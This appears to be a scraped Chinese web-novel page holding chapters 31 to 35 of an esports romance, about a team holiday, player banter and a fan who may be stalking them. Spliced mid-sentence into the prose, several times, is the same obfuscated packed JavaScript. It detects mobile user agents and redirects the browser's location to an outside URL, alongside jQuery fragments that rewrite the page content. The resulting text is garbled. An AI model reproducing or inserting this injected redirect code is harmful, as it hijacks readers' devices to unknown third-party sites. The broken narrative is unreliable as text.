0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601389|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜜蜂。 他打开开关,“呼呼”了两声确认扩音器可以正常使用,清了一下嗓子—— “咳咳,经过我与老板们几个月的周旋,迟到了半年的团建计划终于落地。” 刘国柱还以为听见团建这两个字,大家应该瞬间睁开双眼,目光像奥特曼的激光一样照在自己身上。 结果却还是没人理自己。 看着他尴尬地站在众人面前,廖望延终究是好心了一回,搭话问:“那我们是去哪团建?” 有人给自己台阶那接下来的话就很好说出口了。 “嘿嘿,咱们去B市七天游。逃离北方计划!阳光、沙滩、泳衣、海水!你想要的全都有!” 听见这句话的时候,半死不活的众人才一个接一个地睁开眼。 到最后只有睡得和死猪一样的于琰没有反应,廖望延叹了口气,往上耸了耸肩膀,半分钟才将人颠醒。 “靠,我梦游了?” 于琰睡眼惺忪地左右环视。 “别睡了,要出去旅游了。” 听见廖望延的话,于琰顿时清醒:“啥?旅游?去哪?” 他的大嗓门比刘国柱的小蜜蜂还好用,一嗓子叫出来把其余半醒不醒的人也喊清醒了。 刘国柱又重复了一遍,于琰不可置信地掐了廖望延一把,听着他痛呼出声才不敢置信地问:“这居然不是做梦?!” “做梦你掐你自己啊,掐你爹干什么?” 廖望延平白无故挨了一下,感叹自己真是老倒霉蛋了。 “嘿嘿,掐自己不是疼么。” 于琰爪子抬起想替他揉胳膊,被他无情拍开手。 看着大家都已经神色清明,刘国柱把小蜜蜂塞回包里,简单地说了一下后续安排。 “后天早上出发,来回的机票已经帮你们订好了。今天明天还是要正常训练,不要因为团建就懈怠!老姚会骂死我!” “另外,这两天把自己的生活用品仔细收拾一下,不要到时候和我抱怨这个没带那个没带,我不负责善后。” 看着众人连连点头,脸上洋溢出即将逃离训练地狱的庆幸笑容,刘国柱扬起下巴迎着众人感激的目光离去。 于琰拉着廖望延就要上楼:“走走走,回去收拾衣服。” 后者被扯着手腕也懒得挣扎,带着无奈笑容跟他进了屋,看他从衣柜里掏出一个20寸灰色小行李箱,马不停蹄就要把日常用品往里塞。 他像是个从小养在家里没出过门的小狗,突然被主人套上牵引绳准备带出门遛弯,兴奋得无法说话只能扭着屁股狂摇尾巴。 廖望延就倚着墙,看他把一样样东西一股脑扔进行李箱。 “这件衣服得带,可以拍照片。” “这个短裤也不错,但是这件也可以,算了算了都带着。” “墨镜……嗯,得带,自拍怎么能没墨镜呢!” “项链,耳钉,戒指,嘿嘿嘿都带都带。” “阿延你给我看看,这个衬衫和这个衬衫哪个好看?” 被问到的人随手点了一件,他又不死心地问:“令一件不好看?” “你既然都想带就别问你爹。”廖望延环着臂看他。 就照于琰这个装法,别说20寸,28寸的行李箱都不够他装。 32.Chapter 32 “如果我耳朵没问题的话,刘哥应该说的是后天出发。” 廖望延看着某位热情小狗持续打包将近半小时,终于没忍住说出了这句话。 各类衣服饰品摆满一整张床的于琰也觉得自己有点太过于兴奋,将手里的第N件上衣扔回衣柜里,一屁股坐在地上。 “你这人真没意思,这可是团建!没有地狱训练没有老姚笔记本暴击后脑勺的度假!” 于琰斜着身子去抓放在床头柜上的烟盒,明明挪挪屁股就能完成的事,他偏坐在原地一动不动。 指尖离烟盒还有一拳的距离,他身子绷直到轻微颤抖也非要犟这个劲儿。 廖望延直起身子,脚尖踢向他的侧臀,看他没防备地一下子扑在地上愤怒地往回瞪自己。 “看你太费力,帮你一把。” 迎着杀人视线的廖望延自顾自往床边走,将满是杂物的床清出一片落臀之地,轻轻松松拿到烟盒,往自己嘴里塞了一根。 他从上至下俯视于琰,轻哼一声后又将另一根烟弹到他脸上。 “不知道的还以为你两个小时之后就要登机。我都不用猜,今明两天的训练你肯定要挨姚哥的骂。” 从廖望延手里抢回塑料打火机,听着火焰点燃烟草的轻微滋滋声,于琰牙齿咬着烟头囫囵着说:“你少咒我,我就不信只有我为了旅游而兴奋,要挨骂也是一块挨。” “如果我没记错,咱们16岁那年就去B市旅游过了,你到底在兴奋个什么劲?” 廖望延实在是搞不懂这有什么可兴奋的。 于琰将烟灰缸放在自己大腿上,从缸边磕了两下烟灰后回答:“那怎么了?咱俩现在都21了,5年过去了欸,谁知道发展成什么样了。况且我兴奋的是不用天天训练了,你懂个屁,你这人一点都没有生活情调。” “我的生活情调就是看着你被姚哥重拳殴打。” “你他妈的!” 于琰再次确认,自己和廖望延根本不是一个世界的人,要不是因为双方父母多年相识,自己绝对不会和这个老狗比成为朋友。 他太寡淡了,日常生活里除了训练就是锻炼,就没怎么看见过他对其他事物展露出兴趣。 “除了游戏你到底还喜欢什么啊?不许说健身!” 于琰提前除去这两个选项,倒要看看他能说出什么玩意来。 “喜欢你。” 这个问题被提出的下一秒,廖望延就随口答出来了,看起来根本不像过了脑子的样子。 “……” 于琰傻了,愣了好几秒才从嗓子眼里挤出一个字:“啊?” “我刚才就说了啊,我的乐趣就是看你被老姚打,详细分析的话应该是喜欢看你被生活痛殴。” “靠,那你好好说啊,还能这么简略的?” 于琰因为刚才那三个字心绪失衡,差点将嘴里的烟掉在自己大腿上。 “你爹就爱这么说话。” 廖望延好像根本没察觉到自己刚才的话有问题,将快燃尽的烟弯腰熄在于琰大腿上的烟灰缸里。 他弯腰的动作很快,没怎么把握距离,导致头发擦着于琰的鼻梁滑下去,使后者鼻尖泛起一丝轻微的痒意。 于琰努了努鼻子,上半身稍稍往后退了些。 廖望延起身后伸了个懒腰,懒散地往门口走,说:“把你的猪窝收拾收拾,有什么东西明天晚上再收也来得及。” 盘腿坐在地上的人没说话,轻轻哼了一声。 房门被轻轻带上,于琰揉了揉鼻子,起身把床上乱七八糟的衣服和饰品一股脑又塞回了衣柜。 隔壁卧室,廖望延将上半身倚在墙上,手心盖住眼睛不见一丝光亮。 半晌,屋子里响起一声轻笑。 - 下午的训练不出某于姓人士所料,几乎都在划水。 老姚拽着刘国柱的胳膊将他拉进训练室,指着一屋子毫无训练态度的人和他嚷:“我是不是说了让你明天晚上再说?!你看看他们哪还有训练的心思!魂都飘到B市了!” 刘国柱挠了挠头:“嘿嘿,没忍住。” “邵乖!再敢玩你那个破墨镜,明天你就能看见它的尸体!” “吴醒!把你的淘宝给我关了!你不管买什么明天晚上之前也到不了!” “于琰!你的衬衫不想要了是吧!一会我就把它们都烧了!” “星水!你怎么也跟他们一块捣乱!” 老姚气的七窍生烟,整个训练室除了廖望延在训练,其余人甚至连游戏都没打开。 于琰拎着他的六七件度假衬衫到训练室里,一件件穿上让其他人帮忙挑选带哪件比较好。 这哪是训练室,这明明是服装城。 明明叫刘国柱来是为了让他看看自己闯了多大的祸,结果他不仅没反思,还加入了选衣大军。 看着围成一团给于琰出谋划策的人,老姚感觉自己太阳穴都在跳。 他迈着沉重的步子走到廖望延身边看他单排,内心感叹只有这么一个让自己省心的。 结果就看见廖望延B键回城后切屏弹出百度,上面的问题为—— F市的快递转天能到T市吗? …… 老姚绝望了。 最让自己省心的队员也沦陷了,他没什么能指望的了。 既然如此。 打不过,就加入。 老姚抹了一把脸,推搡开众人,从于琰的桌上拿起一件白色印花衬衫。 看着于琰伸手要夺,他面无表情地快速后退几步说:“这衣服未来一礼拜归我了。” 于琰:“靠!不行!这衣服我要穿!” 老姚:“没得商量,要么衣服归我,要么旅游回来训练加倍,你自己选。” 于琰:“你以公谋私!我要举报!” 老姚:“驳回举报。” 于琰和老姚闹成一团,一旁的邵乖偷偷从桌子上拿起一件衬衫,悄咪咪塞在自己后腰里,面对着众人以螃蟹走路般横着溜出屋,上楼将衬衫藏进自己的行李箱,又装作没事人一样回了训练室。 二十分钟后。 于琰既没抢过老姚,又丢了件衣服,气得他转身拿唯一在干正事的人撒气。 他一把揪下廖望延的耳机,将其柔软微长的黑发一通乱揉,觉得不过瘾又低头吭哧一口咬在他肩膀上。 本来耳机被拽掉就已经影响操作了,肩膀上微痛的触感吓得廖望延平地按出了个闪现。 看着路人队友的问号,他只能默默打了个sorry然后屏蔽全员说话。 肩膀上的狗嘴过了会还没有要撒开的迹象,反而越咬越重,廖望延“嘶”了一声。 “牙不想要了?” 这话非但没能威胁到于琰,反倒让他更用力了些。 顶着肩膀的痛感,廖望延加速了游戏推进,五分钟后对面基地爆炸,他抬起手抓住某个狗脑袋,偏头冷眼看着他。 牙关张开太久口水就会不受控制地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617701|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流出来,于琰吸溜了一下,不怕死地呛声:“瞪什么瞪!” 不讲理还挺横。 廖望延被气笑了,垂眼看了看自己左边肩膀,灰色纯棉的布料明显有一圈被口水濡湿的痕迹。 他直接退掉游戏,作势就要起身,于琰一看情况不对转头就要跑。 还没跑两步他就被一只手揪住头发,头皮被扯得有些疼,他脑袋不自觉地往后仰以减轻痛感。 “我警告你廖望延!你现在放手咱们还有得谈!” “不谈了,就冲咱俩认识这么多年,我允许你自己选个死法。” “我跟你拼了!” 于琰一个拧身也要去拽廖望延的头发,却被后者按着肩膀推到墙上不得动弹。 训练室里其余五人排成一排坐在后方,看着二人势不均力不敌的战况开始下赌盘。 邵乖兴奋地搓手:“开盘了,赌谁嬴谁输,赌注为一瓶旺仔牛奶。” “这赌注是不是太小了点?”刘国柱问。 邵乖摇摇头:“已经够大了,你看现在这个战况,于琰根本没什么胜算,一瓶旺仔牛奶都不一定有人赌,只有无情失智赌徒才会搏一搏。” 刘国柱抬头看了一眼战况,感觉邵乖说的确实很对。 于琰左肩被廖望延的左手按住,右肩被他右手肘顶着,头发还被他用右手揪着,没有办法只能用下颌抵在墙上。 不仅如此,廖望延还抬起一条腿顶在于琰后腰,避免他上半身被扼住却用下半身抵抗。 完全是生擒的姿态。 刘国柱掏出手机拍了张照片,发给了管理战队微博的工作人员,这种照片刚好可以用作给战队涨粉,不用白不用。 还没用得上五分钟,微博那边就把实时战况发了出来。 HG电子竞技俱乐部:经理发来的照片,到底谁能赢下这场战斗? 微博一经发出,评论量就成倍的增长。 【想必不会有人下注给Shark吧?】 【太惨了,看者伤心听者流泪,警察抓犯人的场景莫过如此。】 【我赌于琰绝地翻盘,赌徒就要选赔率高的!】 【廖望延队霸实锤。】 【太搞笑了,你们看照片里的镜子,一排人坐在他们两个后面观战。】 还在僵持的二人根本不知道自己的现状已经被发到了公众面前,还在一挣扎一压制闹得鸡飞狗跳。 看自己实在挣脱不开,于琰扬着脖子讨饶:“错了错了,好哥哥,放弟弟一条生路。” “听不见,大声点。” “好哥哥!!!” “叫爹。” 廖望延的身体素质比于琰强太多,二人虽然身高只差四公分,但力量却明显不在同一级别。 “廖望延!你欺人太甚!” 于琰能叫哥已经是很低三下四了,老狗比居然还想让他叫爹。 廖望延甩了甩垂在自己眼前的碎发,随口说:“不叫?不叫就这么呆着吧。” 有压迫就有反抗,于琰气急之下小宇宙爆发还真挣脱了腰部往下的身体。 他侧过腰抬腿就要踹,廖望延见势松开双手往后退,避免自己身上出现一个偌大的黑脚印。 挣脱开的于琰也没力气再继续,双方观点一致进入休战期。 坐在自己桌子上喝水的于琰拿起手机,正好看见设置了特别关注的战队微博发了动态,解锁一看内心直接崩溃。 “刘国柱!我要杀了你!” 33.Chapter 33 于琰萎靡了,就因为自己的丑态被刘国柱公之于众。 这样也挺好,省的廖望延还要费心思让他把注意力放在训练上。 整整一天半,于琰都没打开微博,生怕看见一群人艾特自己后面还跟着一连串的哈哈哈。 好在团建旅游给他提了提士气,在登机的前一晚,他按捺住自己的激动之心,照常完成训练后缩回屋里收拾最后的物品。 那个20寸的箱子到底还是被抛弃了,他换成了一个24寸的,左塞塞右挤挤,最后是坐在箱子上用体重往下压才成功将行李箱扣上。 隔壁的廖望延收拾东西就简单多了,随手从衣柜里掏出几套夏季常服,用塑料袋装上一双白板鞋,日常洗漱用品往行李箱一扔,10分钟完美搞定出行必备品。 知道于琰肯定兴奋得睡不着觉,他特意发过去一条微信。 【Y:差不多得了,早点睡,不然明天又得瘫你爹肩膀上补觉。】 【傻狗:?】 【傻狗:老子已经弄完了,你真瞎操心。】 【Y:哦?我还以为你得跟吃了疯狗丸一样忙活到凌晨三四点呢。】 【傻狗:小狗举刀.jpg】 聊天以廖望延单方面不回消息迅速宣告结束。 他得早点睡,于琰这种大型捣乱体制生物没准什么时候就又给他搞出点烂摊子,他得保证自己有充足的精神抵御未知风险。 果不其然。 凌晨五点他就被一阵急促的敲门声吵醒。 冷着脸打开门,就看见于琰瞪着一双大眼往他屋里蹿,嘴里还不停嘟囔。 “不行,我考虑了半天,这几件衣服我还是得带上,不然它们被我抛弃在衣柜里会哭。” “这双鞋也是,正好能配我行李箱里那件红色无袖T恤。” “昨天太急了,我洗漱用品都忘了往行李箱塞。” 廖望延就站在门口抱着臂,看他将满怀的东西往自己床上放。 “你就算把整个基地都带过去我也没意见,但你往我床上放是想干什么?” 于琰抠抠脸,扬起一个讨好的笑容说:“嘿嘿,我箱子塞满了,现在打开的话里面的东西可能会像炸弹一样崩出来,只能塞你箱子里了。” 就知道会是这样。 廖望延感叹自己真是太有先见之明了,昨天晚上特意用的24寸行李箱,空的那一半就是给现在屋里的另一个人准备的。 他指了指立在桌子前的银色箱子:“自己整理好放进去,别想着偷懒团成一团塞进去,你敢塞我就敢扔。” 于琰现在有求于人,只能丧眉搭眼地盘腿坐在床上整理糅杂成一团鸡窝的衣服。 被这么一打扰,廖望延也睡不着了,按了按自己的太阳穴下楼接了两杯咖啡回来。 这么一会的功夫,床上的东西都没了,他合理怀疑自己走了以后于琰根本没听话,趁自己不在就偷偷摸摸把东西一股脑塞进了行李箱。 他也懒得计较了,自己一共就睡了五个小时,着不起这个急。 于琰接过他手里的咖啡,仰头一口干掉,整张脸皱成一团道:“这也太苦了。” “没我的命苦。” 廖望延进卫生间洗漱前如此说。 早上七点,众人推着行李箱在大厅集合。 “东西都收拾好了吧?有什么没带的现在还可以上楼拿,等出了门可就没这个机会了。” 刘国柱带着自己的小蜜蜂再次提醒众人。 得到一片小鸡啄米式点头确认后,他带上自己的□□墨镜招手—— “那就出发!” - 四小时后,众人落地B市。 刘国柱租了一辆商务车,将一行人带到定好的酒店。 “星水和吴醒住一间,于琰和Mesh住一间,邵乖和老姚住一间,我自己住一间。” 他将房卡分给众人,在酒店大厅嘱咐大家:“大家回去休整一下,一小时后我们去吃特色菜馆,下午直接出发沙滩。” “好!” “耶耶耶!” “冲!” 廖望延像个管家一样手里推着两个24寸行李箱,左右肩膀还各挂着一个双肩包。 进到房间后,他去卫生间洗手,于琰则是走到落地窗前看窗外的景色。 这次旅游看得出刘国柱是下了本钱的。酒店地理位置很好,高层刚好能看见不远处湛蓝的海水和金色的沙滩,阳光照在水面上面反射出粼粼波光。 “啊~这就是度假~” 于琰将椅子拉到窗前,坐下后翘着二郎腿看风景。 廖望延甩着手上的水滴,走到他身后将湿润的手心塞进他的脖子里。 “嘶!别碰你爹!”于琰缩着脖子道。 从鼻腔里溢出一声轻哼,廖望延转身将自己的行李箱放倒,打开防盗扣,映入眼帘的就是一团乱麻。 果然不出他所料,于琰这个狗崽子根本就没叠衣服。 他懒得扯皮,随手把于琰的箱子也打开,将双方的洗漱用品寻找出来摆进卫生间,鞋子也码在行李架上。 刚想扭头问于琰下午要穿什么衣服,他提前挂在衣架上,结果就发现某人已经斜着脖子坐在椅子上睡着了。 廖望延叹了口气,随手替他挑了一件,合上行李箱推到一旁,自己也在床上浅寐了半小时。 中午的饭不太合廖于二人的胃口,B市的口味偏清淡又带点甜口,二人习惯了咸辣口的饭菜,一顿吃下来只觉得嘴里没滋没味。 不过倒也不妨事,刘国柱说晚上可以去逛夜市,那里天南地北的美食都有,完全足够填饱肚子。 众人吃完饭回到酒店换衣服,穿上适配阳光沙滩和海水的衣服浩浩荡荡地出发。 于琰穿了件火红色带白色复杂花纹的半袖休闲衬衫,衣服扣子只系了三颗,半个胸膛大剌剌的敞着。五分短裤为纯白色,露出健瘦修长的暖白色小腿。他把墨镜卡在脑袋上,耳钉选了两个银色的素环坠在耳垂,脖子上还挂了条银色链子,在一群人里显得格外瞩目。 廖望延就素净多了,T恤和短裤都是纯白色的,身上没一点饰品,连遮光的墨镜都没带出门,被于琰讽为旅游度假之耻。 几人到了沙滩就各自分开。 老姚和刘国柱去找了个地方躺着,邵乖吴醒左星水三人去旁边的店面买零食,廖望延被于琰拽着往海水里走。 相比于玩水,其实廖望延更想像两个中年人一样去躺着,奈何有人不允许。 脱掉人字拖,下午两点的海水泛着暖意包裹住二人的半截小腿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629947|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澄澈的海面能清晰看见水底下的沙子。 于琰弯腰接了一捧水,作势就要往廖望延身上泼,被后者一个右撤步躲开。 “哟,还挺敏捷。” “你转转眼珠子我就知道你要干什么。” 笑话,于琰那动作明显得就差直接告诉他了。 “嘿,我还就不信了。” 既然偷袭不成,那就光明正大的行动。 于琰直接弯腰撩水往廖望延的方向甩,就算是再小心,后者身上脸上也免不了被沾上几滴海水。 “啧,就应该把你爪子剁了。” 二人一个追一个赶,在地面上的时候于琰都逃不出廖望延的手掌心,更别说水里还有阻力。 于琰被按着脑袋用海水洗了把脸,精心打理的发型变得一团糟,衬衫也湿了大半。他索性用腿钩住廖望延的腰,用力往下坠,二人一同摔进水里。 躺在遮阳椅上看着二人打闹的刘国柱不禁和旁边的老姚感叹:“长得帅就是好,浑身湿透造型全无都帅得要命,要是换成我只能像一条落水狗。” “你有自知之明挺好的。” “不过他俩感情是真好啊。以前Mesh没来的时候我还琢磨呢,俩人要是不在一个队,时间久了会不会因为成绩产生隔阂,没想到居然真被我骗来了。” 老姚曲起腿挪了挪屁股:“Mesh要是自己不愿意,你根本成功不了。” 刘国柱点点头:“那倒也是。” 老姚将目光转向海边掐住于琰后颈的人。 此时廖望延浑身湿透,正巧露出个不常见的开怀笑容。 他淡淡开口:“咱们能给的待遇别的队都能给,Mesh能来,肯定还是有不少于琰的因素。” “是啊,要不我说他们俩关系好呢。”刘国柱把卡在衣领上的墨镜放在旁边的桌子上,“不过他俩这……于琰可是同性恋,Mesh看起来一点也没拉开距离的意思。” “你见过哪个爹因为儿子是同性恋就拉远距离的?谁会怀疑亲儿子能把主意打到自己身上?” 老姚心里笃定得很。廖望延照顾于琰真和爹照顾儿子没区别,再怎么样两个人也不会发生类似于琰和钟络的事情。 “那最好,我可不想再看见同队恋爱的情况了,那天知道的时候我差点没晕过去。” 刘国柱现在回想起钟络出柜那天的场景还不由得心颤。 这可不是什么小事,一个搞不好就要葬送掉选手声誉和职业性命。 老姚跟他放下狂言:“放心吧,他俩绝对没可能。要是他俩有事,我剃光头只穿内裤绕咱们基地外围跑一圈。” “这可是你说的。” “我说的。” 中年聊天室对话间,采购三人组抱着一堆零食回来,将白色置物桌摆放得满满当当。 看见不远处廖于二人的激烈争斗,三人也过去加入战场。 吴醒最瘦最矮,被邵乖按着一屁股坐在水里。 于琰看准时机对着邵乖屁股一个飞踹,将后者踹得直接迎面扑进海里。 廖望延紧随其后将偷袭的于琰掼进水里,一个没站稳自己也侧倒下去。 左星水站在他们两步远的地方,举着手机给他们拍照,等大家晚上回去一看,拍得要多丑有多丑。 34.Chapter 34 左星水把拍的照片都发在自己的微博,刘国柱也拍了几个视频发给战队微博的管理人员,用作团建宣传。 视频在第二天下午就被发了出去,底下的评论让于琰又萎了。 【Shark,一个id为鲨鱼的男人,被Mesh按在水里不能动弹,太丢脸了。】 【没毛病啊,鲨鱼被网束缚,非常合理。】 【楼上有理。】 【只有我替Nap心酸吗?所有人都有力气反抗,只有他被所有人欺负。】 【Nap的好哥哥只顾着拍照了,根本没兴趣救孩子。】 【邵乖是又菜又爱玩,谁都要招惹两下,最后被一群人按在水里直扑腾,喝了一肚子水。】 微博一经发出,有不少B市本地人或者正在B市旅游的粉丝都想去近距离看看几位选手。 毕竟平时能见到他们的方式只有买票进赛场,而且还没法靠近。现在就不同了,万一真偶遇上了还能要个合照签名什么的。 于琰在第二天晚上被女粉丝成功gank到。 那是个漂亮御姐,身高起码170以上,黑色的长发烫了个漂亮的大卷,在饭馆门口害羞扭捏地走近于琰,小声问他:“Shark,我是你的粉丝,可以合个照吗?” 于琰一口答应下来。 女生站在前面举着手机,于琰则是站在她身后一拳的位置,对着摄像头摆剪刀手笑出六颗牙齿。 女生合完照又从自己包包里掏出个笔记本,还是个崭新没开封的,她慌乱地撕掉塑料膜,垂着眼不敢直视于琰,将笔记本和金色签字笔递到他面前,怯懦地问:“可不可以再给我签个名?” “没问题,小事,要不要to签?”于琰左手接过本子,右手拿着签字笔,用牙齿咬开笔帽囫囵着问。 “可以吗?!那太好了,我叫月月。” 女生猛地抬起头惊喜地看着于琰,眼中的开心溢于言表。 于琰大手一挥签完名还在右下角留了个简笔画的小狗,合上本子还给女生后摆摆手告别。 几人上了商务车走远后,邵乖不禁啧了两声:“怎么就没人管我要签名呢?果然是看脸的世道。” “知道看脸还问,等你什么时候整个容再问这个问题吧。”Nap边玩手机边说。 众人打闹着回了酒店,聚在刘国柱房间里玩了两小时桌游才各自分开。 于琰躺在自己床上划拉着外卖问廖望延:“儿,吃点啥不?” “属猪的?晚上吃了两碗米饭,没过四个小时又饿了?” 他这个胃口廖望延是真佩服,吃得多消化得还好,吃完过不了几个小时就又喊饿,而且就算这么吃也不见胖。 “哎呀,吃点夜宵睡觉才香,我买点烧烤,一会咱俩再喝点小麦果汁,美滋滋。” 于琰自顾自点了几十串烧烤,也不管前者爱不爱吃,反正只要图片看着有食欲他就往购物车里塞。 半小时后他接到外卖员的电话让他下楼,他趿拉着拖鞋穿着睡衣去大厅取外卖,拎着外卖袋子等电梯的时候听见旁边一声惊讶地轻呼,不由得转动视线看向发声的当事人。 居然就是晚饭时候要签名的那个女粉丝。 于琰挑了挑眉先开口:“你也住这啊?” 那个粉丝点了点头,脸上稍微泛起些红晕。 二人进电梯后,于琰看着她左手行李箱右手行李包,礼貌性地问了一句:“你几楼?我看你两个手都占着,我帮你按吧。” 女生说了个楼层数,于琰稍微睁大了眼,居然和自己一层。 待电梯到了指定楼层,他稍稍落后几步看着女生先走。 也不怪于琰谨慎,这些年选手的私生饭越来越多,闹出了好几起粉丝跟踪选手的事出来,所以他留了个心眼。 于琰眼看着女生刷卡打开和自己房间正对门的那个房间,心里一惊,脸上却没什么表情。 他进屋后把外卖袋子放在床头柜上,故作高深地问房间里的另一个人:“阿延,你猜我看见谁了。” 廖望延眼都没抬,懒散道:“有屁快放。” “晚上管我要签名的那个女生,就住咱俩对面。” 廖望延皱了下眉,扣下手机抬起眼:“她知道咱们住哪?” “应该不知道吧,我等电梯遇见她的,还特意先问了她住几层,而且下电梯之后我也是让她先走的。”于琰边拆外卖袋边回。 廖望延没再说话,但还是把这件事记在了心里。 - 这次团建刘国柱没安排太多行程,主要就是为了让队员们有个轻松的假期,所以大家每天都是睡到自然醒再去沙滩边上玩玩水。 自从于琰说粉丝和自己住对门,转天开始廖望延就有点神经敏感,时不时就要左右环顾一下四周。 不过自那晚之后,双方即使住在对门也没碰见过,于琰笑着说没准就是凑巧了,人家姑娘可能第二天就退房了。 假期第四天上午,于琰收到了一条不知名短信。 195xxxxxx22: 【在忙吗?】 于琰没当回事,随手删掉,垃圾短信太多,他懒得搭理。 结果这个号码开始以一小时一条的速度没完没了的发。 13:00【你好帅,好喜欢你。】 14:00【真的喜欢你。】 15:00【想给你打电话。】 16:00【要谈恋爱吗?】 手机放在刘国柱那的于琰等到快晚上才发现这些短信,他皱着眉的样子被廖望延发现,后者伸手夺过手机。 看见骚扰短信的内容廖望延眨了眨眼,面无表情地将号码拉黑,用手机背面敲了敲于琰的脑门。 “不知道拉黑在哪?还是你真想和人家发展一下?” 于琰撇了撇嘴,抢回手机塞进裤兜说:“怎么可能,我就是纳闷这人想干什么。” “有空琢磨骚扰电话不如琢磨琢磨回去以后的四场训练赛。” “啥?!四场?!” “姚哥发群里了,你没看?” “靠,如果我不看的话能不能当我不知道?我能不打吗?” “不行。” “天杀的老姚!!” 于琰第N次萎靡不振,本以为出来旅游就能短暂忘却训练的事,没想到阎王爷老姚根本不放过他这个脆弱的小男孩。 他瘫在床上刷微博,又收到了一条无名短信。 176xxxxxx91: 【过得还好吗?】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643246|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 于琰下意识觉得是之前的人换了号码又来作妖,本来就因为训练赛心烦,看见这条短信他心里更是蹭蹭冒火。 【再他妈敢发骚扰短信我就报警了,滚。】 反手刚要把这个号码也拉进黑名单,号主就又发来新消息。 【我是钟络。】 于琰顿时脚趾头抠地,恨不得短信能立刻出一个撤回功能。 他尴尬了三分钟才回消息。 【不好意思,有事吗?】 钟络在DL基地里握着手机抿了抿唇。 他今天才发现HG众人去旅游的事,看着于琰和廖望延几乎在所有视频与照片中都亲密无间的样子,他脑子一热就用新号发去了短信。 钟络:【能把我微信加回来吗?】 于琰:【有事就在这说吧。】 钟络:【小琰,对不起。】 于琰:【哦。】 钟络因为这疏远的态度眼底又蒙上了一层阴鸷,手指翻动间又发去了一条冲动的消息。 【我走的很对,是吧?】 于琰看着这条消息皱起了眉,不明白钟络又想干什么。 【你什么意思?】 对方一口气连发了五条短信,隔着手机都能看出精神状态不怎么良好。 【没有我在,干什么都方便。】 【你应该早点告诉我啊,我也不是死缠烂打的人。】 【你们晚上住一起不会有冲动吗?】 【呵呵,我不该这么问是不是?】 【你们看起来进展不错,准备什么时候在一起?】 于琰眉头越皱越深,想直接把电话打过去乱骂一通,但深呼吸了几次又按捺住自己。 【滚你妈的。】 最后一条短信发完,于琰删除拉黑一条龙,将钟络新号干脆利落的送进黑名单。 他起身从屋里走了好几个来回,越走越气,步伐也越来越快。 廖望延拎着洗好的衣服回来,看了个满眼,不知道于琰又在发什么疯。 “我带你去医院查查脑子?” 于琰恶狠狠地瞪了他一眼没说话,拉着凳子坐到落地窗前,用后脑勺对着他。 廖望延挑挑眉,把衣服扔到床上。走到于琰身后用手心拢着他的下巴,逼着他抬头从下往上地看自己。 “说,什么事?”他微微低头问。 虽然这是个问句,但廖望延的语气却不像是在问,反倒更像是命令。 “钟络就是个傻逼。”于琰答非所问。 但廖望延已经明白了,他收回手去拿于琰的手机,解锁后边看边问:“又找你了?说什么了?从哪说的?” “你别找了,我已经删了。”于琰没起身,背对着他解释。 “微信新朋友列表没有好友申请,黑名单里也没他,但是手机黑名单里有个新号,看来是给你发的短信。让我猜猜,他想让你把他微信加回来但你拒绝了,所以他恼羞成怒?” “嗯。” 于琰没把后半段说出来,他没那么厚的脸皮重复一遍钟络的话,想起来都觉得恶心的话没必要被第三个人知道。 “下回看见是他口吻的消息直接拉黑,别浪费短信回他。” “知道了。” 35.Chapter 35 半夜,廖望延翻来覆去睡不着,他猜于琰肯定还藏了一些话没对自己说。明明已经点开和钟络的微信聊天框了,但他思虑再三还是放下了手机。 自己现在还没资格质问这些问题。 以往于琰进入深度睡眠都会有非常轻微的鼾声,但今天并没有,不仅没有,他还听见了于琰数次翻身的声音。 房间内没有拉窗帘,借着窗外的月光他瞥眼望去,于琰背对自己侧躺着,虽然没有手机灯光的亮起,但他就是知道,于琰没睡着。 二人就借着这种微妙的默契谁也没开口,到最后廖望延也不知道自己什么时候就睡着了。 转天醒来后于琰已经恢复了平常的样子。 照样玩,照样吃饭,照样开玩笑,看不出和以往有任何的不同。 众人出门散步的时候,邵乖突然停下脚步,众人都面露不解地看他。 他微微侧头,目光逡巡在路边的草丛里。 突然,他往后退了几步,将手伸进绿化带里不知道在搜寻什么。 半分钟后,他手里多出了一只小狗。 拎着狗的后脖子,邵乖对着众人伸了伸:“我就感觉好像听见了一声狗叫,没想到还真有。” 大家齐齐聚在他的手前弯腰注视。 那是一只几乎纯黑的幼犬,只有前胸靠近脖子的地方有一点点白毛,因为太小也看不出是什么品种。 